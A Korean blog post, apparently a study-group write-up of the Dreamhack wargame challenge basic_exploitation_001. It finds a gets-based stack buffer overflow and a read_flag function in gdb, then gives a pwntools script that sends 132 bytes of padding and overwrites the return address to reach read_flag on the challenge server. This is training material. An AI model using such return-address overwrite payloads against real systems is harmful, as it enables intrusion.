또 새로운 문제를 풀어보자. 재미있다 ㅎㅎㅎㅎㅎㅎ
📖 1) 문제 파악
이번에도 c파일이 존재하지만, 보지않고 풀어보도록 하자.
우선 실행을 하기 전에 보호기법을 먼저 보자. NX는 enabled가 되어있으므로 쉘코드는 불가능하지 않을까 싶다.
뭐지 ??
gdb로 열어보자.
main함수 내부는 정말 무난하게 생긴 것 같다. 다른 함수들이 있는지 알아보자.
read_flag 함수가 보인다. BOF를 통해서 RET를 0x080485b9 으로 덮으면 될 것 같다.
이게 main함수이다.
read_flag 함수는 cat flag 명령을 실행시킨다.
📖 2) 문제 분석
방심은 금물이라지만, 이 문제는 매우 쉽게 풀 수 있을 것 같다.
먼저 gets함수에서 값을 끝없이 받아들일 수 있다.
하지만 s는 128 바이트이므로 132바이트를 채워버리고 RET를 0x080485b9 으로 덮어버리자.
📖 3) 문제 풀이
되게 쉽게 풀었다.
from pwn import *
p = remote("host1.dreamhack.games", 18871)
read_flag_addr = p32(0x080485b9)
dummy = "A" * 132
payload = dummy + read_flag_addr
p.sendline(payload)
p.interactive()
📖 4) 문제 해결, 느낀 점
이번 문제는 정말정말 쉬웠다. 오히려 이전 문제랑 지금 문제랑 바뀌는게 맞다고 생각된다.
'스터디 그룹 > ProjectH4C' 카테고리의 다른 글
ProjectH4C 3개월 2주차 과제 (해커스쿨 ftz - 1) (0) | 2021.03.24 |
---|---|
ProjectH4C 3개월 2주차 과제(Dreamhack - basic_exploitation_002) : 실패 (0) | 2021.03.21 |
ProjectH4C 3개월 1주차 과제(Dreamhack - basic_exploitation_000) (0) | 2021.03.21 |
ProjectH4C 3개월 1주차 과제(HackCTF - 내 버퍼가 흘러넘친다!!!) (0) | 2021.03.21 |
ProjectH4C 3개월 1주차 과제(HackCTF - Basic FSB) (0) | 2021.03.19 |